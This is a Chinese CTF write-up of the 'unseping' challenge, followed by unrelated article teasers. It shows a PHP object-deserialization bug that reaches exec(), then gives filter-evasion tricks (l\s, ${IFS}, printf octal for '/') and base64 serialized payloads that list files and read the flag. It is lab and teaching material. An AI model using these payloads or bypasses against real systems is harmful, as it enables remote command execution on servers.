126,【2】攻防世界unseping

ops/2025/2/12 18:29:43/

进入靶场

审代码

<?php
// 高亮显示当前 PHP 文件的源代码,常用于调试和展示代码结构
highlight_file(__FILE__);// 定义一个名为 ease 的类
class ease {// 定义一个私有属性 $method,用于存储要调用的方法名private $method;// 定义一个私有属性 $args,用于存储调用方法时传递的参数private $args;// 构造函数,当创建 ease 类的对象时会自动调用// 接收两个参数 $method 和 $args,并将它们分别赋值给类的私有属性function __construct($method, $args) {$this->method = $method;$this->args = $args;}// 析构函数,当对象被销毁时会自动调用function __destruct() {// 检查 $method 属性的值是否在数组 array("ping") 中// 即判断要调用的方法是否为 "ping"if (in_array($this->method, array("ping"))) {// 如果是 "ping" 方法,则使用 call_user_func_array 函数调用该方法// 并将 $args 数组作为参数传递给该方法call_user_func_array(array($this, $this->method), $this->args);}}// 定义 ping 方法,接收一个参数 $ipfunction ping($ip) {// 使用 exec 函数执行系统命令,将 $ip 作为命令的一部分执行// 并将执行结果存储在 $result 数组中exec($ip, $result);// 使用 var_dump 函数输出 $result 数组的详细信息var_dump($result);}// 定义 waf 方法,用于对输入的字符串进行过滤和检查function waf($str) {// 使用 preg_match_all 函数检查 $str 中是否包含特定的危险字符或关键字// 如 |、&、;、空格、/、cat、flag、tac、php、ls 等if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {// 如果不包含危险字符或关键字,则返回原字符串return $str;} else {// 如果包含危险字符或关键字,则输出提示信息 "don't hack"echo "don't hack";}}// __wakeup 魔术方法,当使用 unserialize 函数对对象进行反序列化时会自动调用function __wakeup() {// 遍历 $args 数组,对每个元素应用 waf 方法进行过滤foreach ($this->args as $k => $v) {$this->args[$k] = $this->waf($v);}}
}// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 base64 解码,然后尝试对解码后的字符串进行反序列化操作
// @ 符号用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>

解析

1,得知两个参数名method 和 args 

提示了调用的方法是ping,

所以method传ping  

2,args用于存储调用方法时传递的参数,我们看看waf方法过滤了什么,看到包含  ls ,想到先查看目录文件,那么如何绕过,

方法一:通过在l与s之间加两个双引号即可,又因为使用了 call_user_func_array 函数,所以需要以数组形式传参。就这种形式:array()

所以args传array('l""s')

方法二:waf方法是通过_wake up调用的,最后修改属性个数即可绕过,并正常使用  ls

方法三:用l\s,在 Linux 操作系统中 ls 与 l\s 是等价的

3,代码最后告诉我们需要以post方式传参(可以用bp抓包或插件实现),参数名是ctf,而且会对传的内容进行64解码和反序列化操作,所以我们需要进行序列化操作,再进行64编码。

解题

一,查看目录 

l\s

<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease('ping',array('l\s'));
$b = serialize($a);
echo $b;
?>

之后代码以此为模板,自己改啊

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319 

 

二 ,查看已知文件flag_1s_here

l\s${IFS}f\lag_1s_here

在 Linux 系统的命令行中,默认情况下 IFS 包含空格、制表符和换行符,它用于分隔命令中的各个参数。在这里使用 ${IFS} 来替代空格

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=

三,查看flag_831b69012c67b35f.php 

c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp

  • \57 是八进制的 ASCII 码表示,对应的字符是 /
  • $(printf${IFS}"\57") 是通过 printf 命令输出 / 字符,以此绕过对 / 的过滤。

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

 

得到flag 


http://www.ppmy.cn/ops/157830.html

相关文章

【逆向工程】破解unity的安卓apk包

先了解一下普通apk包的逆向方法&#xff08;无加密或加壳&#xff09; 开发环境&#xff1a; 操作系统&#xff1a;windows 解apk包 下载工具&#xff1a;apktool【Install Guide | Apktool】按照文档说的操作就行&#xff0c;先安装java运行时环境【我安装的是jre-8u441-wind…

百度高德地图坐标转换

百度地图和高德地图的侧重点不太一样。同样一个地名&#xff0c;在百度地图网站上搜索到的地点可能是商业网点&#xff0c;在高德地图网站上搜索到的地点可能是自然行政地点。 高德地图api 在高德地图中&#xff0c;搜索地名&#xff0c;如“乱石头川”&#xff0c;该地名会出…

第R8周:RNN实现阿尔茨海默病诊断(pytorch)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 数据集包含 2,149 名患者的广泛健康信息&#xff0c;每名患者的 ID 范围从 4751 到 6900 不等。该数据集包括人口统计详细信息、生活方式因素、病史、临床测量…

Matlab机械手碰撞检测应用

本文包含三个部分&#xff1a; Matlab碰撞检测的实现URDF文件的制作机械手STL文件添加夹爪 一.Matlab碰撞检测的实现 首先上代码 %% 检测在结构环境中机器人是否与物体之间发生碰撞情况&#xff0c;如何避免&#xff1f; % https://www.mathworks.com/help/robotics/ug/che…

互联网企业线上业务拓展与开源AI智能名片2+1链动模式S2B2C商城小程序的创新应用

摘要&#xff1a;随着互联网技术的飞速发展&#xff0c;互联网企业不断探索线上业务的边界&#xff0c;寻求新的增长动力。在互联网初期&#xff0c;面对商业模式和盈利模式的不成熟&#xff0c;国内互联网企业多从借鉴国外成功经验起步&#xff0c;逐步摸索出适合本土市场的线…

HPM_SDK应用本地化——基于6750evkmini

文章目录 前言一、准备工作1、下载官方的SDK2、解压SDK 二、实操1、新建目标工程文件夹2、回到SDK中将相关文件复制1、Borad文件夹2、hello_world文件夹 三、实验现象总结 前言 为什么要对sdk进行应用本地化&#xff1f;在嵌入式开发中我们一般将官方提供的SDK作为参考&#x…

基于HarmonyOS 3.0的智能理财APP开发方案

以下是基于HarmonyOS 3.0的智能理财APP开发方案&#xff0c;充分利用鸿蒙系统特性实现差异化功能&#xff1a; 一、架构设计 技术栈&#xff1a; - 开发框架&#xff1a;ArkUI 3.0 (声明式UI) - 数据管理&#xff1a;分布式数据服务 - 安全架构&#xff1a;TEE微内核 硬件级加…

唯一值校验的实现思路(续)

本文接着上一篇文章《唯一值校验的实现思路》&#xff0c;在后端实现唯一值校验。用代码实现。 /*** checkUniqueException[唯一值校验]** param entity 新增或编辑的学生实体* param insert 是否新增&#xff0c;如果是传入true&#xff1b;反之传入false* return void* date…